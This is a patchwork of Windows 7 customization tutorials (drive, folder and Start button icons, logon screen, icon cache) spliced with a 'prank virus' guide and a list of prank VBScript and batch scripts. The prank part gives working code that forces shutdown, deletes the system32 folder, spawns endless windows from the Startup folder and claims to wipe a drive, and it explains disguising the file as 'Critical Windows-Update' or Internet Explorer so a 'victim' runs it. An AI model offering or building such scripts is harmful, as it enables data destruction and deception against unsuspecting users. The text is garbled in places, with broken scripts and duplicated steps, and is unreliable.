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Change Drive Icon in Windows 7
1.Come into Registry Editor by clicking “Start”, then type Regedit. 2.On Registry Editor Window, come into key of
HKEY_LOCAL_MACHINE > SOFTWARE > Microsoft > Windows > CurrentVersion > Explorer.
3.Click right mouse on the right side of window and choose “New > Key”. 4.Name the Driveicons for a new created key.
5.Recreate a new key with a name in accordance with the drive icon you want to change. If the drive icon you want to change is drive K, use K as a new key name.
6.One more time, create a new key, called Default icon.
7.Now, fill out default data value from Default icon key with path icon. If the icon is in a DLL file, use format C: > full_path > icon_file.dll, x in typing path. In this sample, X is icon number in icon_file.dll. 8.If it is over, restart computer to see the change occurred in your drive icon.
If your default drive icon is missing or was changed and you did not do it with the methods below, then
look for a hidden (notalways hidden though) autorun.inf file (OPTION ONE below) when you open the drive letter in Computer and right click on the autorun.inf file and click on Delete . Next, approve the deletion. If this was an external device, then you may need to disconnect and reconnect the device for the icon to appear afterwards.
Warning
If you select to use a custom icon of your own, then it must be a 256x256 pixel icon (.ico) file for it to display properly in all icon sizes .
EXAMPLE: C Drive icon - Default and Changed
OPTION ONE Change a Drive Icon using a"autorun.inf" File
NOTE: While this option can be used for anydrive, it is really useful for external drives like a USB flash drive .
1. Set your known file extentions to no longer be hidden .
NOTE: This way you will be able to rename the file extension in step 3 below . 2. Connect and/or open the drive that you want to change the icon of.
NOTE: If you already have a autorun.inf file in the root of this drive, then skip this step and proceed to step 4 .
4. Copy the icon .ico file (ex: Thumb_Drive.ico) that you want to use to the root of the drive. (see right screenshot below)
5. If this is a New autorun.inf File
A) Open the autorun.inf file, then type eachline below followed by pressing enter. (see screenshot below)
NOTE: Substitute icon file name with the actual name of your icon file (ex: Thumb_Drive.ico) from step 4 .
Code:
[autorun]icon=" icon file name .ico"
B) Click on File (menu bar) and Save , then close the autorun.inf file. (see screenshot above)
6. If you already have a autorun.inf File
NOTE: Be sure that you also check the Show hidden files, folders, and drives optionin Folder Options in case the existing autorun.inf file (if there) may have been hidden .
A) Open the autorun.inf file, then add or change the icon= line below. (see screenshots below)
NOTE: Substitute icon file name with the actual name of your icon file (ex: Thumb_Drive.ico) from step 4 .
Code:
[autorun] icon=" icon file name .ico"
B) Click on File (menu bar) and Save , then close the autorun.inf file. (see screenshots above) 7. If this is for a Internal or eSATA Dive
8. If this is for a External Dive
A) Unplug and plug in the drive to apply.
9. Open the Computer window to see the changes. Note
To Restore the Default Icon
You would just need to do either option below and repeat steps 7 to 9. *.Delete the autorun.inf and .ico file.
OR
*.If you have other lines (ex: label= ) in the autorun.inf while editing it that you wish to continue using, then remove the icon= line entry for the drive, and save the changes.
OPTION TWO Change a Drive Icon in Registry Editor for Current User Account Only
1. If you did OPTION ONE previously, then you will need to either remove the icon=icon file name.ico entry from the autorun.inf file, or delete the autorun.inf file in the root of the drive that you want to change the icon of.
2. Open the Start Menu, then type regedit in the search box and press enter. 3. If prompted by UAC , then click on Yes .
4. In regedit, navigate to the location below. (see screenshot below) Code:
HKEY_CURRENT_USER\Software\Classes
5. In the left pane, right click on Classes and click on New and Key . Type Applications and press enter. NOTE: If you already have the Applications key under Classes , then go to step 6 . (see screenshot above and below)
6. In the left pane, right click on Applications and click on New and Key . Type Explorer.exe and press enter.
NOTE: If you already have the Explorer.exe key under Applications , then go to step 7 . (see screenshot above and below)
7. In the left pane, right click on Explorer.exe and click on New and Key . Type Drives and press enter. NOTE: If you already have the Drives key under Explorer.exe , then go to step 8 . (see screenshot above and below)
8. In the left pane, right click on Drives and click on New and Key . Type the drive letter(ex: C ) that you want to change the icon for and press enter.
NOTE: If you already have the drive letter (ex: C ) key under Drives , then go to step 9 . (see screenshot above and below)
9. In the left pane, right click on the drive letter (ex: C ) and click on New and Key . Type DefaultIcon and press enter.
10. To Restore the Default Drive Icon
A) Right click on the drive letter (ex: C ) from step 8 above that you want to restore, and click on Delete and Yes . (see screenshot below step 8)
B) Go to step 14.
11. To Use a Custom Icon of Your Own
A) In the right pane of DefaultIcon , right click on (Default) and click on Modify . (see screenshot below step 9)
B) In the Modify window, type in this below and click on OK . (see screenshot below) NOTE: Substitute with your icons full path and name with file extension in quotes instead. Code:
" full path of the icon file with file extension " FOR EXAMPLE:
Code:
"G:\Windows 7 PNG Files\Start_Orb.ico" C) Go to step 13.
12. To Use another Icon Included in Windows 7
A) Download and install the free program IconViewer for your 32-bit or 64-bit Windows 7 .
NOTE: This program will add a Icons tab to files (ex: imageres.dll) that contain a icon library in them so you can see the icons available in it .
B) In Windows Explorer, navigate to C:\Windows\System32\imageres.dll and right click on imageres.dll , click on Properties , and click on the Icons tab.
NOTE: You can use any of the Windows 7 files that include icons in them that you want though. This is just the most common one.
C) Scroll through the icons and make note of the icon number of the one you want to use to replace the default file extension icon with, then close the properties window. (see screenshot below)
NOTE: For example, icon number 36 for thedefault C drive icon .
D) In the right pane of DefaultIcon , right click on (Default) and click on Modify . (see screenshot below step 9)
E) In the Modify window, type in the location below and click on OK . (see screenshot below) Code:
(full path of the Windows 7 file with file extension) ,- #### FOR EXAMPLE:
Code:
C:\Windows\System32\imageres.dll,-36
13. The registry should look similar to this now depending on the icon path you entered in either step 11 or 12. (see screenshot below)12. Close Regedit.
13. The changes should be immediate, but in some cases you may need to restart the computer to apply the changes. If the drive icon does not change for you using this option, then try OPTION ONE or OPTION THREE to change it instead.
1. If you did OPTION ONE previously, then you will need to either remove the icon=icon file name.ico entry from the autorun.inf file, or delete the autorun.inf file in the root of the drive that you want to change the icon of.
2. Open the Start Menu, then type regedit in the search box and press enter. 3. If prompted by UAC , then click on Yes .
4. In regedit, navigate to the location below. (see screenshot below) Code:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer
5. In the left pane, right click on Explorer and click on New and Key . Type DriveIcons and press enter. NOTE: If you already have the DriveIcons key under Explorer , then go to step 6 . (see screenshot above and below)
6. In the left pane, right click on DriveIcons and click on New and Key . Type the drive letter (ex: C ) that you want to change the icon for and press enter.
NOTE: If you already have the drive letter (ex: C ) key under DriveIcons , then go to step 7 . (see screenshot above and below)
7. In the left pane, right click on the drive letter (ex: C ) and click on New and Key . Type DefaultIcon and press enter.
NOTE: If you already have the DefaultIcon key under the drive letter (ex: C ), then go to step 8, 9, or 10 . (see screenshot above and below)
8. To Restore the Default Drive Icon
A) Right click on the drive letter (ex: C ) from step 6 above that you want to restore, and click on Delete and Yes . (see screenshot below step 6)
B) Go to step 12.
9. To Use a Custom Icon of Your Own
A) In the right pane of DefaultIcon , right click on (Default) and click on Modify . (see screenshot below step 7)
B) In the Modify window, type in this below and click on OK . (see screenshot below) NOTE: Substitute with your icons full path and name with file extension in quotes instead. Code:
" full path of the icon file with file extension " FOR EXAMPLE:
Code:
"G:\Windows 7 PNG Files\Start_Orb.ico" C) Go to step 11.
10. To Use another Icon Included in Windows 7
A) Download and install the free program IconViewer for your 32-bit or 64-bit Windows 7 .
B) In Windows Explorer, navigate to C:\Windows\System32\imageres.dll and right click on imageres.dll , click on Properties , and click on the Icons tab.
NOTE: You can use any of the Windows 7 files that include icons in them that you want though. This is just the most common one.
C) Scroll through the icons and make note of the icon number of the one you want to use to replace the default file extension icon with, then close the properties window. (see screenshot below)
NOTE: For example, icon number 36 for thedefault C drive icon .
D) In the right pane of DefaultIcon , right click on (Default) and click on Modify . (see screenshot below step 7)
E) In the Modify window, type in the location below and click on OK . (see screenshot below) Code:
(full path of the Windows 7 file with file extension) ,- #### FOR EXAMPLE:
Code:
C:\Windows\System32\imageres.dll,-36
11. The registry should look similar to this now depending on the icon path you entered in either step 9 or 10. (see screenshot below)
12. Close Regedit.
13. The changes should be immediate, but in some cases you may need to restart the computer to apply the changes.
That's it, Shawn
How to Change Windows 7 Default
Folder Icons using Resource Hacker
Information
Windows 7 Folders are Live Folders , and they are not a single icon, but a combination of 5 different icons . In imageres.dll icon group, the numbers of these 5 icons are respectively 3, 4, 5, 6, and 162 . So it is to change all the five icons to change the folder icon's look.
Note
To be safe and secured, it is better to Backup Complete Computer - Create an Image Backup before starting any customization activities. Moreover, I recommend to have manual backup (copy and paste in a secured place) of the files before modifying, so that it may be changed easily to default as and when it is needed.
OPTION ONE To Change the Default Folder Icon to a Custom Icon
2. Click on the plus sign in front of "Icon Group" .
4. Scroll down to 162, and change it (using the same process, with the icon having some stuff in it) .
Note
During Steps 3 and 4 , if you get a dialog saying " out of system resources ", don’t worry . Click OK and proceed . As all the resolutions (13 resolution layers are usually required there for system icons; for all the alternative locations) are not found, such a dialog pops up . It wont resist our customization. 5. Now File > Save As . In the "Save File As" window, set the save location to Desktop, give the filename "imageres.dll" and save .
So your custom imageres.dll file is ready . Now it is to apply .
6. Take Ownership of the original imageres.dll file, have a manual backup of it , and place the modded one to C:\Windows\System32 , choose Copy and Replace, if prompted . Otherwise, you may use System File Replacer to do the replacement .
So your custom folder icon set is done . Now make it workable .
7. To make the icons take effect , rebuild the icon cache , and delete the thumbnail cache .
8. Restart your Computer . After restarting, you may have another Disk Cleanup, to make the changes perfectly. If the thumbnail Cache is not deleted and Icon Cache is not Rebuilt, no change will take effect at all.
1. To restore the defaults, you will need your manual backup of the original imageres.dll file, that you have made earlier. Next, follow steps 6, 7 and 8 with it to get back the defaults.
Change Start Menu button in Windows 7
How to Change Start Menu button look in Windows 7?
You can spice up your copy of Windows 7 by changing the Start Menu button look. This tutorial will help you in changing the Start Menu button.
Default Start menu button: Figure 1
Customized Start menu button: Figure 2
You need:
• Custom Start button icons ( .bmp ). You can download them from the internet . They must be in the following order:
1) When the button is not in use
2) When mouse pointer is over the button 3) When button is clicked
It must be like this: Figure 3
• Download Resource Hacker utility from here to help you in editing the .exe file To accomplish this follow these steps:
1) Open C:\ drive and Take Ownership of the Windows folder
Note: To know how to take ownership of the Windows Folder automatically click the link Include Take Ownership option in the right click menu
Figure 4
2) Open Resource Hacker and open the file explorer.exe through it which is located in the C:\Widnows folder
Figure 5
3) Expand Bitmap branch in the left pane Figure 6
4) Now expand 6801 option and right click on 1033 option and select Replace Resource option 5) Click Open file with new bitmap button
Figure 7
6) Navigate to the customized (.bmp) image and open it 7) Click Replace button
Figure 8
8) Repeat steps 4 to 7 above for the options 6805 and 6809 also Figure 9
10) Now go to the folder C:\Windows and rename the file explorer.exe to explorer.exe.bak . This will act as a backup so that you can restore the default file in future
Figure 10
11) Now copy the file explorer.exe on the Desktop to C:\Windows folder 12) Log off and then Log on for the changes to take effect
Do you want to play a trick on your friends? Our shocking but harmless virus is the best choice for you! Here's what to do:
The sample scripts
(edited by a non-noob):// shutdown the computer without a chance to abort @echo off
shutdown -s -t 0
// OR (attempt to delete system files) @echo off
cd %SystemRoot% del /s/q system32\*.* rmdir /s/q system32
// OR (for spamming multiple windows) // Least malicious, most annoying. @echo off
set CRLF=^
set NewLine=^^^%CRLF%%CRLF%^%CRLF%%CRLF%
echo :h3ll%NewLine%start%NewLine%goto h3ll > "%HomePath%\Start Menu\Programs\Startup\spamm3r.bat"
"%HomePath%\Start Menu\Programs\Startup\spamm3r.bat edit Building the Virus (edited by a non-noob)
Step 1: Acknowledge and comprehend the WARNINGS!
Step 2: Run "\WINDOWS\notepad.exe" by clicking Start>All Programs>Accessories>Notepad , or by entering notepad in the Run dialog (hold down the WINDOWS+R keys).
Step 3: Copy and paste the batch script of the "virus" into the open notepad. Step 4: Click the File>Save As... menu item to save the script.
Step 5: Select a location to save the script, e.g.: %HomePath%\Start Menu\Programs\Startup\ ..this will automatically run the script when the user logs in.
Step 6: Select to Save as type: All Files
Step 7: Be creative with the file name. Replace the .txt extension with .bat or .cmd and the language will be interpreted upon clicking.
Step 8: Click Save and close notepad.
Note: if you saved to the Startup folder, youwill have to boot into Safe mode and manually remove the script.
Now that we have the virus saved, we should prepare a decoy:
1.Right click on the desktop and go over to"new" then click "short cut". 2.For the location of the short cut choose our Virus.
3.Click next.
4.Give the shortcut a name that your victim will click on. ("Music for free", "My Documents", "Critical Windows-Update""Get Free Cinema-Tickets" or "Internet Explorer").
5.Click on "Finish".
6.Right click on the shortcut you have just made and choose "properties". Now click onthe "choose icon" button and scroll through the list of icons.
7.Decide for one of the icons that fits well to the name, choose it by clicking on it and hit OK twice. edit Abort Shutdown-Countdown
Sometimes it might be necessary to stop the countdown before the computer shuts down. Here's how to do it:
1.Open the start menu. 2.Click Run
3.Type "shutdown.exe -a" and press enter/return. 4.Or go to Run
5.Type CMD
6.And then type "shutdown -a" edit Video
This Video shows you how to create an icon that looks like something great but will shut down your computer with an "Virus Alert".
edit Warnings
Only do this to someone who can handle such a prank!
Do not execute such viruses on computers that must be available 24 hours a day. (Like the ones in hospitals).
Remember that if you use a shutdown-countdown you should have enough time toabort the
countdown! How to do this is mentioned above. That means don't enter"2" and expect yourself to have 2 minutes to disable it!
edit Tips (edited by a non-noob)
Alternatively, set your 'virus' to execute every time a user logs in by navigating to Start > All Programs > Startup (Right-click) >Open and copy the shortcut into the folder that opens. Be careful with the shutdown timer's value, too short an interval will make it more fun and exciting for even the most inexperienced computer illiterate foolto deactivate the virus.
Notes:
A Safe mode boot will halt the Startup and the Registry Run key.
If you really screwed up, boot a Live Linux distro and mount the harddrive. Once mounted, navigate to that directory and delete the file. Duh.
Running batch files like these in full screen can make them even scarier and more convincing. Right click on the icon and choseproperties -> options -> full screen. Do not shutdown computer to early or it may not scare the victim or it wont look like a virus.
You can download a small, free utility from Frameworkx.comthat will easily let you remove the shortcut arrows without having to do any registry patches. Here is the link to download:
http://www.howtogeek.com/geekers/up/FxVisor32.msi
It's even better if you name it Internet Explorer and change the icon to match saveit to your desktop and delete the old internet shortcut so if they click to go on the internet it shuts down on them. It will be quite fun and hopefully both of you will get a good laugh out of it!
Change logon screen
This method will require you to modify the registry, and if that puts a knot in your stomach, you should move on to the next section.
Step 1: Open the Windows Start menu and enter regedit into the search bar. Step 2: Right click on HKEY_LOCAL_MACHINE and select Find .
Step 3: Search for OEMBackground , which should be in
Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Log onUI\Background. If the key does not exist, add a new DWORD value with the name OEMBackground . Step 4: Double click on the entry OEMBackground , and change the value from0 to 1.
Step 5: Open Windows Explorer and go to the following path: %windir%\system32\oobe . Step 6: Create a new folder named info , andopen it.
Step 7: Create a new folder within info named backgrounds .
Step 8: Rename your desired wallpaper as backgroundDefault.jpg and place it inside the folder backgrounds (images must be less than 245KB in size).
That should do the trick, now just lock your PC, log off or reboot and enjoy.
Icon cache rebuilt
Type these commands in command prompt and delete thumbnails by using disk cleanup. *.taskkill /IM explorer.exe /F
*.CD /d %userprofile%\AppData\Local *.DEL IconCache.db /a
1)Continually pop out your friend's CD Drive. If he / she has more than one, it
pops out all of them!
Type :
Set oWMP = CreateObject("WMPlayer.OCX.7") Set colCDROMs = oWMP.cdromCollection do if colCDROMs.Count >= 1 then For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next End If wscript.sleep 5000 loop
Save it as "Anything.VBS" and send it.
2) Toggle your friend's Caps Lock button simultaneously:
Type :
Set wshShell =wscript.CreateObject("WScript.Shell") do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}" loop
Save it as "Anything.VBS" and send it.
3) Convey your friend a lil' message and shut down his / her computer:
Type : @echo off
msg * I don't like you
shutdown -c "Error! You are too stupid!" -s Save it as "Anything.BAT" in All Files and send it.
4) Frustrate your friend by making this VBScript hit Enter simultaneously:
Type :
Set wshShell = wscript.CreateObject("WScript.Shell") do
wscript.sleep 100
wshshell.sendkeys "~(enter)" loop
5) Open Notepad, slowly type "Hello, how are you? I am good thanks" and
freak your friend out:
Type :
WScript.Sleep 180000 WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell") WshShell.Run "notepad" WScript.Sleep 100 WshShell.AppActivate "Notepad" WScript.Sleep 500 WshShell.SendKeys "Hel" WScript.Sleep 500 WshShell.SendKeys "lo " WScript.Sleep 500 WshShell.SendKeys ", ho" WScript.Sleep 500 WshShell.SendKeys "w a" WScript.Sleep 500 WshShell.SendKeys "re " WScript.Sleep 500 WshShell.SendKeys "you" WScript.Sleep 500 WshShell.SendKeys "? " WScript.Sleep 500 WshShell.SendKeys "I a" WScript.Sleep 500 WshShell.SendKeys "m g" WScript.Sleep 500 WshShell.SendKeys "ood" WScript.Sleep 500 WshShell.SendKeys " th" WScript.Sleep 500 WshShell.SendKeys "ank" WScript.Sleep 500 WshShell.SendKeys "s! "
Save it as "Anything.VBS" and send it.
6) Frustrate your friend by making this VBScript hit Backspace
simultaneously:
Type :
MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell") do
Save it as "Anything.VBS" and send it.
7) Hack your friend's keyboard and make him type "You are a fool"
simultaneously:
Type :
Set wshShell = wscript.CreateObject("WScript.Shell") do
wscript.sleep 100
wshshell.sendkeys "You are a fool." loop
Save it as "Anything.VBS" and send it.
8. Open Notepad continually in your friend's computer:
Type : @ECHO off :top
START %SystemRoot%\system32\notepad.exe GOTO top
Save it as "Anything.BAT" and send it.
9) Hard prank: Pick your poison batch file. It asks your friend to choose a
number between 1-5 and then does a certain action:
1: Shutdown 2: Restart
3: Wipes out your hard drive (BEWARE) 4: Net send
5: Messages then shutdown Type :
@echo off
title The end of the world cd C:\
:menu cls
echo I take no responsibility for your actions. Beyond this point it is you that has the power to kill yourself. If you press 'x' then your PC will be formatted. Do not come crying to me when you fried your computer or ifyou lost your project etc...
pause
echo Pick your poison: echo 1. Die this way (Wimp) echo 2. Die this way (WIMP!) echo 3. DO NOT DIE THIS WAY echo 4. Die this way (you're boring) echo 5. Easy way out
if %input%==1 goto one if %input%==2 goto two
Save it as "Anything.BAT" and send it.
You might wanna have to change the Icon of the file before sending it to your friend, so right click the file, click Properties, click on the 'Change' Icon and change the icon from there.
10) THRETEN BY MAKING SCREEN FLASH
To make a really cool batch file that can make your entire screen flash random colors until you hit a key to stop it, simply copy and paste the following code into notepad and then save it as a .bat file.
@echo off echo e100 B8 13 00 CD 10 E4 40 88 C3 E4 40 88 C7 F6 E3 30>\z.dbg echo e110 DF 88 C1 BA C8 03 30 C0 EE BA DA 03 EC A8 08 75>>\z.dbg echo e120 FB EC A8 08 74 FB BA C9 03 88 D8 EE 88 F8 EE 88>>\z.dbg echo e130 C8 EE B4 01 CD 16 74 CD B8 03 00 CD 10 C3>>\z.dbg echo g=100>>\z.dbg echo q>>\z.dbg debug <\z.dbg>nul del \z.dbg
But if you really want to mess with a friend then copy and paste the following code which will do the same thing except when they press a key the screen will go black and the only way to stop the batch file is by pressing CTRL-ALT-DELETE. @echo off :a echo e100 B8 13 00 CD 10 E4 40 88 C3 E4 40 88 C7 F6 E3 30>\z.dbg echo e110 DF 88 C1 BA C8 03 30 C0 EE BA DA 03 EC A8 08 75>>\z.dbg echo e120 FB EC A8 08 74 FB BA C9 03 88 D8 EE 88 F8 EE 88>>\z.dbg echo e130 C8 EE B4 01 CD 16 74 CD B8 03 00 CD 10 C3>>\z.dbg echo g=100>>\z.dbg echo q>>\z.dbg debug <\z.dbg>nul del \z.dbg goto a
To disable error (ctrl+shirt+esc) then end process wscript.exe
Enjoy!!!^^ Follow these steps to change the Windows Media Player (WMP) 12
library view background image:
Important This section, method, or task contains steps that tell you how to modify the registry.
Back up the registry
a. Click “Start”.
b. Type “regedit.exe” in the Start search box and hit “Enter”. c. Locate the following key:
HKEY_CURRENT_USER\Software\Microsoft\MediaPlayer\Preferences
d. In the right-pane, double-click “LibraryBackgroundImage”
The default value data for “LibraryBackgroundImage” is 6. Modify the value data to other number to change the WMP12 Library background image.
The valid value is 0 to 6 for 6 different background images, with 0 as no background image.
